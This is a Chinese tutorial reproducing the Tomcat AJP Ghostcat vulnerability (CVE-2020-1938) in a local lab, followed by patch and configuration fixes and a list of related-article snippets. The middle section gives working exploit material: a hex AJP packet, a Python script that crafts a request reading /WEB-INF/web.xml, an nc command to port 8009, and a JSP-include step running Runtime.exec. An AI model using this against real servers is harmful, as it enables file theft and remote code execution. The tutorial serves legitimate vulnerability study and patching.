网络抓包方式复现Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)

article/2025/8/30 4:01:35

目录

 测试是否安装成功​编辑

基础简介

Tomcat Connector(连接器)

​编辑Servlet(服务程序)

Tomcat内部处理请求流程

文件读取漏洞

抓包复现

需要将下图中抓取到的数据包修改一下

​编辑

 

替换成二进制数据的形式:

运行结果 

​编辑

创建脚本文件,复现

文件包含漏洞

 Tomcat加载和处理jsp的流程图

漏洞修复

如果未使用 Tomcat AJP 协议

步骤

如果使用了 Tomcat AJP 协议


apache-tomcat-9.0.30.ziphttp://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/apache-tomcat-9.0.30.zip

注意:需要下载9.0.30及以下的版本

哪些版本的 Tomcat 受到 Ghostcat 漏洞影响?

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

运行需要Java环境

解压后需要在apache-tomcat-9.0.30/bin/ 目录下面的所有.sh文件给上权限

然后运行shartup.sh

 测试是否安装成功

基础简介

Tomcat Connector(连接器)

首先来说一下Tomcat的Connector组件,Connector组件的主要职责就是负责接收客户端连接客户端请求的处理加工。每个Connector会监听一个指定端口,分别负责对请求报文的解析和响应报文组装,解析过程封装Request对象,而组装过程封装Response对象。

举个例子,如果把Tomcat比作一个城堡,那么Connector组件就是城堡的城门,为进出城堡的人们提供通道。当然,可能有多个城门,每个城门代表不同的通道。而Tomcat默认配置启动,开了两个城门(通道):一个是监听8080端口的HTTP Connector,另一个是监听8009端口的AJP Connector

Tomcat组件相关的配置文件是在conf/server.xml,配置文件中每一个元素都对应了Tomcat的一个组件(可以在配置文件中找到如下两项,配置了两个Connector组件):

<!-- Define a non-SSL/TLS HTTP/1.1 Connector on port 8080 --><Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />.....<!-- Define an AJP 1.3 Connector on port 8009 --><Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

HTTP Connector很好理解,通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器;

AJP Connector是通过AJP协议和一个Web容器进行交互。在将Tomcat与其他HTTP服务器(一般是Apache )集成时,就需要用到这个连接器。AJP协议是采用二进制形式代替文本形式传输,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化。

显然,浏览器只支持HTTP协议,并不能直接支持AJP协议。所以实际情况是,通过Apache的proxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问,大致如下图所示:

Servlet(服务程序)

Servlet意为服务程序,也可简单理解为是一种用来处理网络请求的一套规范。主要作用是给上级容器(Tomcat)提供doGet()和doPost()等方法,其生命周期实例化、初始化、调用、销毁受控于Tomcat容器。有个例子可以很好理解:想象一下,在一栋大楼里有非常多特殊服务者Servlet,这栋大楼有一套智能系统帮助接待顾客引导他们去所需的服务提供者(Servlet)那接受服务。这里顾客就是一个个请求,特殊服务者就是Servlet,而这套智能系统就是Tomcat容器。

Tomcat中Servlet的配置是在`conf/web.xml`。Tomcat默认配置定义了两个servlet,分别为`DefaultServlet`和`JspServlet`:

<!-- The default servlet for all web applications, that serves static    --><!-- resources.  It processes all requests that are not mapped to other   --><!-- servlets with servlet mappings. --><servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>............</servlet><!-- The JSP page compiler and execution servlet, which is the mechanism  --><!-- used by Tomcat to support JSP pages.  Traditionally, this servlet    --><!-- is mapped to the URL pattern "*.jsp". --><servlet><servlet-name>jsp</servlet-name><servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>............</servlet>............<!-- The mapping for the default servlet --><servlet-mapping><servlet-name>default</servlet-name><url-pattern>/</url-pattern></servlet-mapping><!-- The mappings for the JSP servlet --><servlet-mapping><servlet-name>jsp</servlet-name><url-pattern>*.jsp</url-pattern><url-pattern>*.jspx</url-pattern></servlet-mapping>

所有的请求进入tomcat,都会流经servlet。由注释可以很明显看出,如果没有匹配到任何应用指定的servlet,那么就会流到默认的servlet(即DefaultServlet),而JspServlet负责处理所有JSP文件的请求。

Tomcat内部处理请求流程

Tomcat内部处理请求的流程第一次看可能觉得会有点复杂。网上很多分析tomcat内部架构的文章,看几篇就能明白个大概了。网上看到张图,简单修改重新绘制了下,介绍一下Tomcat内部处理HTTP请求的流程,便于理解后续的漏洞分析:

  1. 用户点击网页内容,请求被发送到本机端口8080,被Connector获得(Connector中的Processor用于封装Request,Adapter用于将封装好的Request交给Container)。

  2. Connector把该请求交给Container中的Engine来处理,并等待Engine的回应。

  3. Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host。

  4. Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有的Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为" "的Context去处理)。

  5. path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类(匹配不到指定Servlet的请求对应DefaultServlet类)。

  6. Wrapper是最底层的容器,负责管理一个Servlet。构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost(),执行业务逻辑、数据存储等程序。

  7. Context把执行完之后的HttpServletResponse对象返回给Host。

  8. Host把HttpServletResponse对象返回给Engine。

  9. Engine把HttpServletResponse对象返回Connector。

  10. Connector把HttpServletResponse对象返回给客户Browser。

Ajp协议的请求在Tomcat内的处理流程与我们上文介绍的Tomcat处理HTTP请求流程类似。我们构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。

文件读取漏洞

抓包复现

AJP MAGIC ---1234
AJP DATA LENFTH ---01e3
AJP DATA----
02020008485454502f312e310000012f0000093132372e302e302e3100ffff00093132372e302e302e310000500
0000ba00b00093132372e302e302e3100a00e004e4d6f7a696c6c612f352e3020285831313b205562756e74753b
204c696e7578207838365f36343b2072763a3130392e3029204765636b6f2f32303130303130312046697265666
f782f3130392e3000a0010055746578742F68746d6c2C6170706C69636174696f6e2f7868746d6c2b786d6c2c61
70706c69636174696f6e2f786d6c3b713d302e392C696d6167652f617669662c696d6167652f776562702c2a2f2
a3b713d302e3800a004000e656e2d55532656e3b713d302e3500a0030011677a69702C206465666c6174652C206
27200a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300
00013100000e5365632d46657463682d44657374000008646f63756d656e7400000e5365632d46657463682d4d6
f64650000086e6176696761746500000e5365632d46657463682d536974650000046e6f6e6500000e5365632d46
657463682d557365720000023f31000a000f414a505f52454d4f54455f504f52540000053532383230000a000e4
14a505f4c4f43414c5f414444520000093132372e302e302e3100
AJP END ---ffDATA格式:AJP_REMOVE_PORT:44442
0a000f   414a505f52454d4f54455f504f5254  0000  05343231323600
414a505f52454d4f54455f504f5254是AJP_REMOTE_PORT
0000用来分隔请求头的key和value
053432313236是value
0a000e414a505f4c4f43414c5f414444520000093132372e302e302e31000a00是request_header的标志
of是header的长度
00表示结束
需要拼接的形式:0a00+key长度+0000+value长度+value+00

需要将下图中抓取到的数据包修改一下

替换成二进制数据的形式:

    'javax.servlet.include.request_uri': '/WEB-INF/web.xml','javax.servlet.include.path_info': 'web.xml','javax.servlet.include.servlet_path': '/WEB-INF/',

再修改AJP_DATA_LENGTH为正确的大小即可

python版替换代码:

import binasciiAJP_MAGIC = '1234'.encode()AJP_HEADER = b'这里是AJP DATA'def unhex(hex):return binascii.unhexlify(hex)
def pack_attr(attr):attr_length = hex(len(attr))[2:].encode().zfill(2)return attr_length + binascii.hexlify(attr.encode())attribute = {'javax.servlet.include.request_uri': '/WEB-INF/web.xml','javax.servlet.include.path_info': 'web.xml','javax.servlet.include.servlet_path': '/WEB-INF/',
}req_attribute = b''
for key, value in attribute.items():# key_length = hex(len(key))[2:].encode().zfill(2)# value_length = hex(len(value))[2:].encode().zfill(2)req_attribute += b'0a00' + pack_attr(key) + b'0000' + pack_attr(value) + b'00'AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)

运行结果 

123401fa02020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f52540000053539303538000a000e414a505f4c4f43414c5f414444520000093132372e302e302e31000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000102f5745422d494e462f7765622e786d6c000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f0000077765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000092f5745422d494e462f00ff

创建脚本文件,复现

执行命令

python3 ajp_tomcat.py | xxd -r -p | nc -v 127.0.0.1 8009

文件包含漏洞

请求经过AjpProcessor类的处理,随后将请求转发给了JspServlet。POC中的请求url是.jsp文件,而JspServlet负责处理所有JSP文件的请求

首先在webapps/manager目录下新建文件test.txt,内容为:

<%Runtime.getRuntime().exec("calc.exe");%>

修改POC进行调试。POC中的四个关键参数,也先在此说明:

# 请求url,这个参数一定要是以“.jsp”结尾
req_uri = '/manager/ddd.jsp'# AJP协议请求中的三个属性
javax.servlet.include.request_uri = '/'
javax.servlet.include.path_info = 'test.txt'
javax.servlet.include.servlet_path = '/'

 Tomcat加载和处理jsp的流程图

总结:简单理解就是我们传入的"/test.txt"被当成jsp编译执行。带入了Tomcat处理jsp的处理流程,将jsp(test.txt)转义成Servlet源代码.java(test_txt.java),将Servlet源代码.java编译成Servlet类.class(test_txt.class),Servlet类执行后,响应结果至客户端。

该漏洞造成RCE的条件是:在webapps目录下上传文件(可以是任意文件),随后通过该文件包含漏洞,造成RCE。

漏洞复现:修改poc中的请求url为manager/ddd.jsp,test.txt中的代码被执行。

漏洞修复

如果未使用 Tomcat AJP 协议

则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。

而对于确定未使用 Tomcat AJP 协议,但无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost。

步骤

编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

将此行注释掉(或直接删掉此行):

<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->

更改完毕后,重启 Tomcat 即可

如果使用了 Tomcat AJP 协议

如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。

例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考博客https://paper.seebug.org/1147/


http://chatgpt.dhexx.cn/article/RuL3yZpj.shtml

相关文章

AJP协议

由于tomcat的html和图片解析功能相对其他服务器如apche等较弱&#xff0c;所以&#xff0c;一般都是集成起来使用&#xff0c;只有jsp和servlet服务交由tomcat处理&#xff0c;而tomcat和其他服务器的集成&#xff0c;就是通过ajp协议来完成的。AJP协议AJP13是定向包协议。因为…

Apache Tomcat AJP协议文件读取与包含

永远也不要忘记能够笑的坚强&#xff0c;就算受伤&#xff0c;我也从不彷徨。 0x01.漏洞情况分析 Tomcat是Apache软件基金会Jakarta 项目中的一个核心项目&#xff0c;作为目前比较流行的Web应用服务器&#xff0c;深受Java爱好者的喜爱&#xff0c;并得到了部分软件开发商的…

Tomcat AJP 文件包含漏洞(CVE-2020-1938)

目录 1&#xff0e;漏洞简介 2、AJP13 协议介绍 Tomcat 主要有两大功能&#xff1a; 3&#xff0e;Tomcat 远程文件包含漏洞分析 4&#xff0e;漏洞复现 5、漏洞分析 6&#xff0e;RCE 实现的原理 1&#xff0e;漏洞简介 2020 年 2 月 20 日&#xff0c;公开CNVD 的漏洞公…

Tomcat HTTP协议与AJP协议

https://blog.csdn.net/jeikerxiao/article/details/82745516 Tomcat HTTP协议与AJP协议 HTTP Connector AJP Connector 配置 Tomcat在server.xml中配置了两种连接器。 HTTP Connector 拥有这个连接器&#xff0c;Tomcat才能成为一个web服务器&#xff0c;但还额外可处理Serv…

Tomcat架构解析之AJP

一、前言 除了HTTP&#xff0c;Tomcat还支持AJP协议&#xff0c;以便于Apache HTTP Server等Web服务器集成&#xff0c;这篇博客主要讲解AJP协议的基础知识以及其配置使用方式。 二、基础知识 为了满足负载均衡、静态资源优化、遗留系统集成&#xff08;如集成PHP Web应用&…

HTTP协议与AJP协议

AJP 全称 Apache JServ Protocol&#xff0c; 是定向包协议&#xff0c;因为性能的原因&#xff0c;使用二进制格式来传输可读性文本&#xff0c;WEB服务器通过TCP连接和SERVLET容器连接。 一旦WEB服务器打开了一个到SERVLET容器的连接&#xff0c;连接处于下面的状态&#xff…

解决Destroying ProtocolHandler [“ajp-apr-8009“]

今天刚开始调JSP网站还好好的&#xff0c;后来中间注销了电脑一次&#xff0c; 再打开调试它&#xff0c;就遇到了这个 无法启动服务器的问题&#xff1a; Destroying ProtocolHandler ["ajp-apr-8009"] 上网百度了下&#xff0c;说是端口号被占用了。 解决办法&…

你知道HTTP协议,但你了解AJP协议吗?

什么是AJP协议&#xff1f; AJP 协议用于web服务器和应用服务器之间的通信&#xff1f;为什么不用HTTP呢&#xff1f; Web服务器和应用服务器有什么区别&#xff1f; AJP协议和HTTP 协议有什么区别&#xff1f; 为什么客户端与服务器之间的通信使用HTTP协议而不是用AJP协议&…

WEB安全:Tomcat-Ajp协议漏洞分析

一、漏洞描述 Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。 Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码…

ajp 定向包协议 二进制代替文本提高性能 简介

AJP协议是定向包&#xff08;面向包&#xff09;协议&#xff0c;采用二进制形式代替文本形式&#xff0c;以提高性能。Web Server一般维持和Web Container的多个TCP Connecions&#xff0c;即TCP连接池&#xff0c;多个request/respons循环重用同一个Connection。但是当Connec…

Java高级自我介绍

先放个大招&#xff0c;哈哈&#xff0c;相信很多朋友准备了很久技术方面的内功&#xff0c;但是在真正与HR交锋的时候&#xff0c;有时还是败下阵来&#xff0c;究其原因之一&#xff0c;竟然是第一招错了&#xff0c;我自己也是&#xff0c;&#xff0c;所以&#xff0c;周末…

java开发自我介绍范文(合集)

java开发自我介绍范文3篇 java开发自我介绍范文篇一&#xff1a; Good morning ! It is really my honor to have this opportunity for a interview, I hope i can make a good performance today. Im confident that I cansucceed. Now i will introduce myself briefly I am…

Java面试中如何介绍自己的项目经验?

&#x1f447;&#x1f447;关注后回复 “进群” &#xff0c;拉你进程序员交流群&#x1f447;&#x1f447; 作者: hsm_computer 来源: https://www.cnblogs.com/JavaArchitect/p/7586949.html 在面试时&#xff0c;经过寒暄后&#xff0c;一般面试官会让介绍项目经验 。常见…

Java程序员面试时,如何进行自我介绍呢?

现在不管什么面试都会面对的一个环节&#xff0c;就是“自我介绍”。这个环节是很多企业作为选拔人才的一个方式与标准。那么&#xff0c;Java程序员面试自我介绍部分讲什么内容&#xff1f;小千给你详细解答下。 Java程序员自我介绍要有一条清晰的线索&#xff0c;便于组织自…

Java面试自我介绍怎么说?Java面试技巧!

自我介绍可谓是面试中最讨厌的环节了&#xff0c;许多程序员自身技术水平相当不错&#xff0c;但不善于表达&#xff0c;在自我介绍环节往往容易给面试官一个不好的印象。但这又是不可避免的&#xff0c;想要别人知道你是谁&#xff0c;你会什么&#xff0c;你做过什么&#xf…

JAVA面试技巧之自我介绍

【如何进行自我介绍】 自我介绍这个问题&#xff0c;不用多说了&#xff0c;面试必定会问&#xff01;如果想要在自我介绍的时候就能够打动面试官&#xff0c;吸引面试官对我们的兴趣&#xff0c;那么像我们这种接受过Java培训的程序员的自我介绍当然不能和应届生或者其他非技术…

AIOP简介

AIOP&#xff1a;AI for IT Operations

AIOps,让金融智能化运维化繁为简

前言 数字化转型是今天金融企业保持竞争力、拓展业务边界的必经之路。这让企业数据中心运维工作不得不面对海量数据压力的挑战。显然&#xff0c;传统运维方法已经无法满足企业数字化时代的新需求&#xff0c;构建面向未来的智能运维体系成为金融企业转型的关键。 2022年银保…

AIOps产品与架构浅析

【摘要】 本文简要介绍AIOps系统主要组成部分&#xff0c;介绍该系统在企业级IT运维场景下的作用和地位。 我们已经成功地应用了人工智能和机器学习来自动化传统的人工任务和IT操作过程。从异常检测到自动修复&#xff0c;现在将前沿算法融入到易于使用的工具中&#xff0c;允…

AIOps变革

图片摘自灵犀官网 目前稍微有点规模的公司都走到了2.0和3.0&#xff0c;之后4.0会逐渐普及 AIOps目前主要是应用数据发现故障&#xff0c;由于AI目前无法理解业务&#xff0c;所以很多故障处理依然需要依靠人工完成。深度的AI自动发现和故障处理需要智能AI组件的加入&#xf…